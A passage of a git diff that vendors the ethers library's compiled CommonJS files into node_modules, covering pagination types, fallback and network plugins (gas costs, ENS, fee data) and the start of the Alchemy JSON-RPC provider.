KAAK,EAAE,EAAE,EAAE,EAAE,UAAU,EAAE,CAAC,EAAE,CAAC,CAAC;IAC1C,WAAW,CAAC,MAAM,EAAE,EAAE,EAAE,EAAG,CAAC,CAAC;IAE7B,WAAW,CAAC,OAAO,EAAE,KAAK,EAAE,EAAE,UAAU,EAAE,CAAC,EAAE,CAAC,CAAC;IAC/C,WAAW,CAAC,cAAc,EAAE,KAAK,EAAE,EAAG,CAAC,CAAC;IACxC,WAAW,CAAC,eAAe,EAAE,KAAK,EAAE,EAAG,CAAC,CAAC;IAEzC,WAAW,CAAC,OAAO,EAAE,GAAG,EAAE;QACtB,UAAU,EAAE,CAAC;QACb,OAAO,EAAE;YACL,mBAAmB,CAAC,2CAA2C,CAAC;SACnE;KACJ,CAAC,CAAC;IACH,WAAW,CAAC,YAAY,EAAE,KAAK,EAAE,EAAG,CAAC,CAAC;IACtC,WAAW,CAAC,cAAc,EAAE,KAAK,EAAE;QAC/B,QAAQ,EAAE,CAAE,aAAa,EAAE,UAAU,CAAE;QACvC,OAAO,EAAE;YACL,mBAAmB,CAAC,mDAAmD,CAAC;SAC3E;KACJ,CAAC,CAAC;IAEH,WAAW,CAAC,UAAU,EAAE,EAAE,EAAE;QACxB,UAAU,EAAE,CAAC;QACb,OAAO,EAAE,EAAG;KACf,CAAC,CAAC;IACH,WAAW,CAAC,iBAAiB,EAAE,GAAG,EAAE,EAAG,CAAC,CAAC;IACzC,WAAW,CAAC,kBAAkB,EAAE,QAAQ,EAAE,EAAG,CAAC,CAAC;IAE/C,WAAW,CAAC,MAAM,EAAE,GAAG,EAAE,EAAE,UAAU,EAAE,CAAC,EAAE,CAAC,CAAC;AAChD,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/pagination.d.ts b/node_modules/ethers/lib.commonjs/providers/pagination.d.ts new file mode 100644 index 000000000000..a772a85c2502 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/pagination.d.ts @@ -0,0 +1,6 @@ +export interface PaginationResult extends Array { + next(): Promise>; + totalResults: null | number; + done: boolean; +} +//# sourceMappingURL=pagination.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/pagination.d.ts.map b/node_modules/ethers/lib.commonjs/providers/pagination.d.ts.map new file mode 100644 index 000000000000..083dedb30a30 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/pagination.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"pagination.d.ts","sourceRoot":"","sources":["../../src.ts/providers/pagination.ts"],"names":[],"mappings":"AAAA,MAAM,WAAW,gBAAgB,CAAC,CAAC,CAAE,SAAQ,KAAK,CAAC,CAAC,CAAC;IACjD,IAAI,IAAI,OAAO,CAAC,gBAAgB,CAAC,CAAC,CAAC,CAAC,CAAC;IAGrC,YAAY,EAAE,IAAI,GAAG,MAAM,CAAC;IAE5B,IAAI,EAAE,OAAO,CAAC;CACjB"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/pagination.js b/node_modules/ethers/lib.commonjs/providers/pagination.js new file mode 100644 index 000000000000..7696f1a420d3 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/pagination.js @@ -0,0 +1,3 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +//# sourceMappingURL=pagination.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/pagination.js.map b/node_modules/ethers/lib.commonjs/providers/pagination.js.map new file mode 100644 index 000000000000..d08e925cb6cb --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/pagination.js.map @@ -0,0 +1 @@ +{"version":3,"file":"pagination.js","sourceRoot":"","sources":["../../src.ts/providers/pagination.ts"],"names":[],"mappings":""} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/plugin-fallback.d.ts b/node_modules/ethers/lib.commonjs/providers/plugin-fallback.d.ts new file mode 100644 index 000000000000..6c525ec2a0ca --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/plugin-fallback.d.ts @@ -0,0 +1,13 @@ +import { AbstractProviderPlugin } from "./abstract-provider.js"; +import type { AbstractProvider, PerformActionRequest } from "./abstract-provider.js"; +export declare const PluginIdFallbackProvider = "org.ethers.plugins.provider.QualifiedPlugin"; +export declare class CheckQualifiedPlugin implements AbstractProviderPlugin { + name: string; + constructor(); + connect(provider: AbstractProvider): CheckQualifiedPlugin; + isQualified(action: PerformActionRequest, result: any): boolean; +} +export declare class PossiblyPrunedTransactionPlugin extends CheckQualifiedPlugin { + isQualified(action: PerformActionRequest, result: any): boolean; +} +//# sourceMappingURL=plugin-fallback.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/plugin-fallback.d.ts.map b/node_modules/ethers/lib.commonjs/providers/plugin-fallback.d.ts.map new file mode 100644 index 000000000000..9586751271d0 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/plugin-fallback.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"plugin-fallback.d.ts","sourceRoot":"","sources":["../../src.ts/providers/plugin-fallback.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,sBAAsB,EAAE,MAAM,wBAAwB,CAAC;AAGhE,OAAO,KAAK,EAAE,gBAAgB,EAAE,oBAAoB,EAAE,MAAM,wBAAwB,CAAC;AAGrF,eAAO,MAAM,wBAAwB,gDAAgD,CAAC;AAEtF,qBAAa,oBAAqB,YAAW,sBAAsB;IACvD,IAAI,EAAE,MAAM,CAAC;;IAMrB,OAAO,CAAC,QAAQ,EAAE,gBAAgB,GAAG,oBAAoB;IAMzD,WAAW,CAAC,MAAM,EAAE,oBAAoB,EAAE,MAAM,EAAE,GAAG,GAAG,OAAO;CAGlE;AAED,qBAAa,+BAAgC,SAAQ,oBAAoB;IACrE,WAAW,CAAC,MAAM,EAAE,oBAAoB,EAAE,MAAM,EAAE,GAAG,GAAG,OAAO;CAMlE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/plugin-fallback.js b/node_modules/ethers/lib.commonjs/providers/plugin-fallback.js new file mode 100644 index 000000000000..9bb9193399bb --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/plugin-fallback.js @@ -0,0 +1,31 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.PossiblyPrunedTransactionPlugin = exports.CheckQualifiedPlugin = exports.PluginIdFallbackProvider = void 0; +const index_js_1 = require("../utils/index.js"); +exports.PluginIdFallbackProvider = "org.ethers.plugins.provider.QualifiedPlugin"; +class CheckQualifiedPlugin { + constructor() { + (0, index_js_1.defineProperties)(this, { name: exports.PluginIdFallbackProvider }); + } + connect(provider) { + return this; + } + // Retruns true if this value should be considered qualified for + // inclusion in the quorum. + isQualified(action, result) { + return true; + } +} +exports.CheckQualifiedPlugin = CheckQualifiedPlugin; +class PossiblyPrunedTransactionPlugin extends CheckQualifiedPlugin { + isQualified(action, result) { + if (action.method === "getTransaction" || action.method === "getTransactionReceipt") { + if (result == null) { + return false; + } + } + return super.isQualified(action, result); + } +} +exports.PossiblyPrunedTransactionPlugin = PossiblyPrunedTransactionPlugin; +//# sourceMappingURL=plugin-fallback.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/plugin-fallback.js.map b/node_modules/ethers/lib.commonjs/providers/plugin-fallback.js.map new file mode 100644 index 000000000000..7fc4a69012e7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/plugin-fallback.js.map @@ -0,0 +1 @@ +{"version":3,"file":"plugin-fallback.js","sourceRoot":"","sources":["../../src.ts/providers/plugin-fallback.ts"],"names":[],"mappings":";;;AAEA,gDAAqD;AAKxC,QAAA,wBAAwB,GAAG,6CAA6C,CAAC;AAEtF,MAAa,oBAAoB;IAG7B;QACI,IAAA,2BAAgB,EAAuB,IAAI,EAAE,EAAE,IAAI,EAAE,gCAAwB,EAAE,CAAC,CAAC;IACrF,CAAC;IAED,OAAO,CAAC,QAA0B;QAC9B,OAAO,IAAI,CAAC;IAChB,CAAC;IAED,gEAAgE;IAChE,2BAA2B;IAC3B,WAAW,CAAC,MAA4B,EAAE,MAAW;QACjD,OAAO,IAAI,CAAC;IAChB,CAAC;CACJ;AAhBD,oDAgBC;AAED,MAAa,+BAAgC,SAAQ,oBAAoB;IACrE,WAAW,CAAC,MAA4B,EAAE,MAAW;QACjD,IAAI,MAAM,CAAC,MAAM,KAAK,gBAAgB,IAAI,MAAM,CAAC,MAAM,KAAK,uBAAuB,EAAE;YACjF,IAAI,MAAM,IAAI,IAAI,EAAE;gBAAE,OAAO,KAAK,CAAC;aAAE;SACxC;QACD,OAAO,KAAK,CAAC,WAAW,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IAC7C,CAAC;CACJ;AAPD,0EAOC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/plugins-network.d.ts b/node_modules/ethers/lib.commonjs/providers/plugins-network.d.ts new file mode 100644 index 000000000000..7385782040ed --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/plugins-network.d.ts @@ -0,0 +1,170 @@ +import type { FeeData, Provider } from "./provider.js"; +import type { FetchRequest } from "../utils/fetch.js"; +/** + * A **NetworkPlugin** provides additional functionality on a [[Network]]. + */ +export declare class NetworkPlugin { + /** + * The name of the plugin. + * + * It is recommended to use reverse-domain-notation, which permits + * unique names with a known authority as well as hierarchal entries. + */ + readonly name: string; + /** + * Creates a new **NetworkPlugin**. + */ + constructor(name: string); + /** + * Creates a copy of this plugin. + */ + clone(): NetworkPlugin; +} +/** + * The gas cost parameters for a [[GasCostPlugin]]. + */ +export type GasCostParameters = { + /** + * The transactions base fee. + */ + txBase?: number; + /** + * The fee for creating a new account. + */ + txCreate?: number; + /** + * The fee per zero-byte in the data. + */ + txDataZero?: number; + /** + * The fee per non-zero-byte in the data. + */ + txDataNonzero?: number; + /** + * The fee per storage key in the [[link-eip-2930]] access list. + */ + txAccessListStorageKey?: number; + /** + * The fee per address in the [[link-eip-2930]] access list. + */ + txAccessListAddress?: number; +}; +/** + * A **GasCostPlugin** allows a network to provide alternative values when + * computing the intrinsic gas required for a transaction. + */ +export declare class GasCostPlugin extends NetworkPlugin implements GasCostParameters { + /** + * The block number to treat these values as valid from. + * + * This allows a hardfork to have updated values included as well as + * mulutiple hardforks to be supported. + */ + readonly effectiveBlock: number; + /** + * The transactions base fee. + */ + readonly txBase: number; + /** + * The fee for creating a new account. + */ + readonly txCreate: number; + /** + * The fee per zero-byte in the data. + */ + readonly txDataZero: number; + /** + * The fee per non-zero-byte in the data. + */ + readonly txDataNonzero: number; + /** + * The fee per storage key in the [[link-eip-2930]] access list. + */ + readonly txAccessListStorageKey: number; + /** + * The fee per address in the [[link-eip-2930]] access list. + */ + readonly txAccessListAddress: number; + /** + * Creates a new GasCostPlugin from %%effectiveBlock%% until the + * latest block or another GasCostPlugin supercedes that block number, + * with the associated %%costs%%. + */ + constructor(effectiveBlock?: number, costs?: GasCostParameters); + clone(): GasCostPlugin; +} +/** + * An **EnsPlugin** allows a [[Network]] to specify the ENS Registry + * Contract address and the target network to use when using that + * contract. + * + * Various testnets have their own instance of the contract to use, but + * in general, the mainnet instance supports multi-chain addresses and + * should be used. + */ +export declare class EnsPlugin extends NetworkPlugin { + /** + * The ENS Registrty Contract address. + */ + readonly address: string; + /** + * The chain ID that the ENS contract lives on. + */ + readonly targetNetwork: number; + /** + * Creates a new **EnsPlugin** connected to %%address%% on the + * %%targetNetwork%%. The default ENS address and mainnet is used + * if unspecified. + */ + constructor(address?: null | string, targetNetwork?: null | number); + clone(): EnsPlugin; +} +/** + * A **FeeDataNetworkPlugin** allows a network to provide and alternate + * means to specify its fee data. + * + * For example, a network which does not support [[link-eip-1559]] may + * choose to use a Gas Station site to approximate the gas price. + */ +export declare class FeeDataNetworkPlugin extends NetworkPlugin { + #private; + /** + * The fee data function provided to the constructor. + */ + get feeDataFunc(): (provider: Provider) => Promise; + /** + * Creates a new **FeeDataNetworkPlugin**. + */ + constructor(feeDataFunc: (provider: Provider) => Promise); + /** + * Resolves to the fee data. + */ + getFeeData(provider: Provider): Promise; + clone(): FeeDataNetworkPlugin; +} +export declare class FetchUrlFeeDataNetworkPlugin extends NetworkPlugin { + #private; + /** + * The URL to initialize the FetchRequest with in %%processFunc%%. + */ + get url(): string; + /** + * The callback to use when computing the FeeData. + */ + get processFunc(): (f: () => Promise, p: Provider, r: FetchRequest) => Promise<{ + gasPrice?: null | bigint; + maxFeePerGas?: null | bigint; + maxPriorityFeePerGas?: null | bigint; + }>; + /** + * Creates a new **FetchUrlFeeDataNetworkPlugin** which will + * be used when computing the fee data for the network. + */ + constructor(url: string, processFunc: (f: () => Promise, p: Provider, r: FetchRequest) => Promise<{ + gasPrice?: null | bigint; + maxFeePerGas?: null | bigint; + maxPriorityFeePerGas?: null | bigint; + }>); + clone(): FetchUrlFeeDataNetworkPlugin; +} +//# sourceMappingURL=plugins-network.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/plugins-network.d.ts.map b/node_modules/ethers/lib.commonjs/providers/plugins-network.d.ts.map new file mode 100644 index 000000000000..77938545ac76 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/plugins-network.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"plugins-network.d.ts","sourceRoot":"","sources":["../../src.ts/providers/plugins-network.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AACvD,OAAO,KAAK,EAAE,YAAY,EAAE,MAAM,mBAAmB,CAAC;AAKtD;;GAEG;AACH,qBAAa,aAAa;IACtB;;;;;OAKG;IACH,QAAQ,CAAC,IAAI,EAAG,MAAM,CAAC;IAEvB;;OAEG;gBACS,IAAI,EAAE,MAAM;IAIxB;;OAEG;IACH,KAAK,IAAI,aAAa;CAOzB;AAGD;;GAEG;AACH,MAAM,MAAM,iBAAiB,GAAG;IAC5B;;OAEG;IACH,MAAM,CAAC,EAAE,MAAM,C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AAC,QAAQ,EAAE,QAAQ,KAAK,OAAO,CAAC,OAAO,CAAC,CAE1D;IAED;;OAEG;gBACS,WAAW,EAAE,CAAC,QAAQ,EAAE,QAAQ,KAAK,OAAO,CAAC,OAAO,CAAC;IAKjE;;OAEG;IACG,UAAU,CAAC,QAAQ,EAAE,QAAQ,GAAG,OAAO,CAAC,OAAO,CAAC;IAItD,KAAK,IAAI,oBAAoB;CAGhC;AAED,qBAAa,4BAA6B,SAAQ,aAAa;;IAI3D;;OAEG;IACH,IAAI,GAAG,IAAI,MAAM,CAAsB;IAEvC;;OAEG;IACH,IAAI,WAAW,IAAI,CAAC,CAAC,EAAE,MAAM,OAAO,CAAC,OAAO,CAAC,EAAE,CAAC,EAAE,QAAQ,EAAE,CAAC,EAAE,YAAY,KAAK,OAAO,CAAC;QAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;QAAC,YAAY,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;QAAC,oBAAoB,CAAC,EAAE,IAAI,GAAG,MAAM,CAAA;KAAE,CAAC,CAA8B;IAEvN;;;OAGG;gBACS,GAAG,EAAE,MAAM,EAAE,WAAW,EAAE,CAAC,CAAC,EAAE,MAAM,OAAO,CAAC,OAAO,CAAC,EAAE,CAAC,EAAE,QAAQ,EAAE,CAAC,EAAE,YAAY,KAAK,OAAO,CAAC;QAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;QAAC,YAAY,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;QAAC,oBAAoB,CAAC,EAAE,IAAI,GAAG,MAAM,CAAA;KAAE,CAAC;IAO5M,KAAK,IAAI,4BAA4B;CACxC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/plugins-network.js b/node_modules/ethers/lib.commonjs/providers/plugins-network.js new file mode 100644 index 000000000000..cd6fd0e9d6a3 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/plugins-network.js @@ -0,0 +1,216 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.FetchUrlFeeDataNetworkPlugin = exports.FeeDataNetworkPlugin = exports.EnsPlugin = exports.GasCostPlugin = exports.NetworkPlugin = void 0; +const properties_js_1 = require("../utils/properties.js"); +const index_js_1 = require("../utils/index.js"); +const EnsAddress = "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e"; +/** + * A **NetworkPlugin** provides additional functionality on a [[Network]]. + */ +class NetworkPlugin { + /** + * The name of the plugin. + * + * It is recommended to use reverse-domain-notation, which permits + * unique names with a known authority as well as hierarchal entries. + */ + name; + /** + * Creates a new **NetworkPlugin**. + */ + constructor(name) { + (0, properties_js_1.defineProperties)(this, { name }); + } + /** + * Creates a copy of this plugin. + */ + clone() { + return new NetworkPlugin(this.name); + } +} +exports.NetworkPlugin = NetworkPlugin; +/** + * A **GasCostPlugin** allows a network to provide alternative values when + * computing the intrinsic gas required for a transaction. + */ +class GasCostPlugin extends NetworkPlugin { + /** + * The block number to treat these values as valid from. + * + * This allows a hardfork to have updated values included as well as + * mulutiple hardforks to be supported. + */ + effectiveBlock; + /** + * The transactions base fee. + */ + txBase; + /** + * The fee for creating a new account. + */ + txCreate; + /** + * The fee per zero-byte in the data. + */ + txDataZero; + /** + * The fee per non-zero-byte in the data. + */ + txDataNonzero; + /** + * The fee per storage key in the [[link-eip-2930]] access list. + */ + txAccessListStorageKey; + /** + * The fee per address in the [[link-eip-2930]] access list. + */ + txAccessListAddress; + /** + * Creates a new GasCostPlugin from %%effectiveBlock%% until the + * latest block or another GasCostPlugin supercedes that block number, + * with the associated %%costs%%. + */ + constructor(effectiveBlock, costs) { + if (effectiveBlock == null) { + effectiveBlock = 0; + } + super(`org.ethers.network.plugins.GasCost#${(effectiveBlock || 0)}`); + const props = { effectiveBlock }; + function set(name, nullish) { + let value = (costs || {})[name]; + if (value == null) { + value = nullish; + } + (0, index_js_1.assertArgument)(typeof (value) === "number", `invalud value for ${name}`, "costs", costs); + props[name] = value; + } + set("txBase", 21000); + set("txCreate", 32000); + set("txDataZero", 4); + set("txDataNonzero", 16); + set("txAccessListStorageKey", 1900); + set("txAccessListAddress", 2400); + (0, properties_js_1.defineProperties)(this, props); + } + clone() { + return new GasCostPlugin(this.effectiveBlock, this); + } +} +exports.GasCostPlugin = GasCostPlugin; +/** + * An **EnsPlugin** allows a [[Network]] to specify the ENS Registry + * Contract address and the target network to use when using that + * contract. + * + * Various testnets have their own instance of the contract to use, but + * in general, the mainnet instance supports multi-chain addresses and + * should be used. + */ +class EnsPlugin extends NetworkPlugin { + /** + * The ENS Registrty Contract address. + */ + address; + /** + * The chain ID that the ENS contract lives on. + */ + targetNetwork; + /** + * Creates a new **EnsPlugin** connected to %%address%% on the + * %%targetNetwork%%. The default ENS address and mainnet is used + * if unspecified. + */ + constructor(address, targetNetwork) { + super("org.ethers.plugins.network.Ens"); + (0, properties_js_1.defineProperties)(this, { + address: (address || EnsAddress), + targetNetwork: ((targetNetwork == null) ? 1 : targetNetwork) + }); + } + clone() { + return new EnsPlugin(this.address, this.targetNetwork); + } +} +exports.EnsPlugin = EnsPlugin; +/** + * A **FeeDataNetworkPlugin** allows a network to provide and alternate + * means to specify its fee data. + * + * For example, a network which does not support [[link-eip-1559]] may + * choose to use a Gas Station site to approximate the gas price. + */ +class FeeDataNetworkPlugin extends NetworkPlugin { + #feeDataFunc; + /** + * The fee data function provided to the constructor. + */ + get feeDataFunc() { + return this.#feeDataFunc; + } + /** + * Creates a new **FeeDataNetworkPlugin**. + */ + constructor(feeDataFunc) { + super("org.ethers.plugins.network.FeeData"); + this.#feeDataFunc = feeDataFunc; + } + /** + * Resolves to the fee data. + */ + async getFeeData(provider) { + return await this.#feeDataFunc(provider); + } + clone() { + return new FeeDataNetworkPlugin(this.#feeDataFunc); + } +} +exports.FeeDataNetworkPlugin = FeeDataNetworkPlugin; +class FetchUrlFeeDataNetworkPlugin extends NetworkPlugin { + #url; + #processFunc; + /** + * The URL to initialize the FetchRequest with in %%processFunc%%. + */ + get url() { return this.#url; } + /** + * The callback to use when computing the FeeData. + */ + get processFunc() { return this.#processFunc; } + /** + * Creates a new **FetchUrlFeeDataNetworkPlugin** which will + * be used when computing the fee data for the network. + */ + constructor(url, processFunc) { + super("org.ethers.plugins.network.FetchUrlFeeDataPlugin"); + this.#url = url; + this.#processFunc = processFunc; + } + // We are immutable, so we can serve as our own clone + clone() { return this; } +} +exports.FetchUrlFeeDataNetworkPlugin = FetchUrlFeeDataNetworkPlugin; +/* +export class CustomBlockNetworkPlugin extends NetworkPlugin { + readonly #blockFunc: (provider: Provider, block: BlockParams) => Block; + readonly #blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block; + + constructor(blockFunc: (provider: Provider, block: BlockParams) => Block, blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block) { + super("org.ethers.network-plugins.custom-block"); + this.#blockFunc = blockFunc; + this.#blockWithTxsFunc = blockWithTxsFunc; + } + + async getBlock(provider: Provider, block: BlockParams): Promise> { + return await this.#blockFunc(provider, block); + } + + async getBlockions(provider: Provider, block: BlockParams): Promise> { + return await this.#blockWithTxsFunc(provider, block); + } + + clone(): CustomBlockNetworkPlugin { + return new CustomBlockNetworkPlugin(this.#blockFunc, this.#blockWithTxsFunc); + } +} +*/ +//# sourceMappingURL=plugins-network.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/plugins-network.js.map b/node_modules/ethers/lib.commonjs/providers/plugins-network.js.map new file mode 100644 index 000000000000..dc819d56c0a4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/plugins-network.js.map @@ -0,0 +1 @@ +{"version":3,"file":"plugins-network.js","sourceRoot":"","sources":["../../src.ts/providers/plugins-network.ts"],"names":[],"mappings":";;;AAAA,0DAA0D;AAE1D,gDAAmD;AAMnD,MAAM,UAAU,GAAG,4CAA4C,CAAC;AAEhE;;GAEG;AACH,MAAa,aAAa;IACtB;;;;;OAKG;IACM,IAAI,CAAU;IAEvB;;OAEG;IACH,YAAY,IAAY;QACpB,IAAA,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AAI,CAAC,YAAY,CAAC,QAAQ,CAAC,CAAC;IAC7C,CAAC;IAED,KAAK;QACD,OAAO,IAAI,oBAAoB,CAAC,IAAI,CAAC,YAAY,CAAC,CAAC;IACvD,CAAC;CACJ;AA5BD,oDA4BC;AAED,MAAa,4BAA6B,SAAQ,aAAa;IAClD,IAAI,CAAS;IACb,YAAY,CAAyK;IAE9L;;OAEG;IACH,IAAI,GAAG,KAAa,OAAO,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC;IAEvC;;OAEG;IACH,IAAI,WAAW,KAA6K,OAAO,IAAI,CAAC,YAAY,CAAC,CAAC,CAAC;IAEvN;;;OAGG;IACH,YAAY,GAAW,EAAE,WAAmL;QACxM,KAAK,CAAC,kDAAkD,CAAC,CAAC;QAC1D,IAAI,CAAC,IAAI,GAAG,GAAG,CAAC;QAChB,IAAI,CAAC,YAAY,GAAG,WAAW,CAAC;IACpC,CAAC;IAED,qDAAqD;IACrD,KAAK,KAAmC,OAAO,IAAI,CAAC,CAAC,CAAC;CACzD;AA1BD,oEA0BC;AAED;;;;;;;;;;;;;;;;;;;;;;;EAuBE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-alchemy.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-alchemy.d.ts new file mode 100644 index 000000000000..0fe1a7d18139 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-alchemy.d.ts @@ -0,0 +1,50 @@ +/** + * [[link-alchemy]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Alchemy [providers-alchemy] + */ +import { FetchRequest } from "../utils/index.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { AbstractProvider, PerformActionRequest } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +/** + * The **AlchemyProvider** connects to the [[link-alchemy]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-alchemy-signup). + * + * @_docloc: api/providers/thirdparty + */ +export declare class AlchemyProvider extends JsonRpcProvider implements CommunityResourcable { + readonly apiKey: string; + constructor(_network?: Networkish, apiKey?: null | string); + _getProvider(chainId: number): AbstractProvider; + _perform(req: PerformActionRequest): Promise; + isCommunityResource(): boolean; + static getRequest(network: Network, apiKey?: string): FetchRequest; +} +//# sourceMappingURL=provider-alchemy.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-alchemy.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-alchemy.d.ts.map new file mode 100644 index 000000000000..9cbe30b80d00 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-alchemy.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-alchemy.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-alchemy.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AAEH,OAAO,EAEH,YAAY,EACf,MAAM,mBAAmB,CAAC;AAG3B,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,gBAAgB,EAAE,oBAAoB,EAAE,MAAM,wBAAwB,CAAC;AACrF,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,gBAAgB,CAAC;AAC3D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AA2C/C;;;;;;;;;;GAUG;AACH,qBAAa,eAAgB,SAAQ,eAAgB,YAAW,oBAAoB;IAChF,QAAQ,CAAC,MAAM,EAAG,MAAM,CAAC;gBAEb,QAAQ,CAAC,EAAE,UAAU,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,MAAM;IAWzD,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,gBAAgB;IAOzC,QAAQ,CAAC,GAAG,EAAE,oBAAoB,GAAG,OAAO,CAAC,GAAG,CAAC;IAmCvD,mBAAmB,IAAI,OAAO;IAI9B,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,EAAE,MAAM,CAAC,EAAE,MAAM,GAAG,YAAY;CAerE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-alchemy.js b/node_modules/ethers/lib.commonjs/providers/provider-alchemy.js new file mode 100644 index 000000000000..d708ac2e249b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-alchemy.js @@ -0,0 +1,151 @@ +"use strict"; +/** + * [[link-alchemy]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Alchemy [providers-alchemy] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.AlchemyProvider = void 0; +const index_js_1 = require("../utils/index.js"); +const community_js_1 = require("./community.js"); +const network_js_1 = require("./network.js"); +const provider_jsonrpc_js_1 = require("./provider-jsonrpc.js"); +const defaultApiKey = "_gg7wSSi0KMBsdKnGVfHDueq6xMB9EkC"; +function getHost(name) { + switch (name) { + case "mainnet": + return "eth-mainnet.alchemyapi.io"; + case "goerli": + return "eth-goerli.g.alchemy.com"; + case "sepolia": + return "eth-sepolia.g.alchemy.com"; + case "arbitrum": + return "arb-mainnet.g.alchemy.com"; + case "arbitrum-goerli": + return "arb-goerli.g.alchemy.com"; + case "arbitrum-sepolia": + return "arb-sepolia.g.alchemy.com"; + case "base": + return "base-mainnet.g.alchemy.com"; + case "base-goerli": + return "base-goerli.g.alchemy.com"; + case "base-sepolia": + return "base-sepolia.g.alchemy.com"; + case "matic": + return "polygon-mainnet.g.alchemy.com"; + case "matic-amoy": + return "polygon-amoy.g.alchemy.com"; + case "matic-mumbai": + return "polygon-mumbai.g.alchemy.com"; + case "optimism": + return "opt-mainnet.g.alchemy.com"; + case "optimism-goerli": + return "opt-goerli.g.alchemy.com"; + case "optimism-sepolia": + return "opt-sepolia.g.alchemy.com"; + } + (0, index_js_1.assertArgument)(false, "unsupported 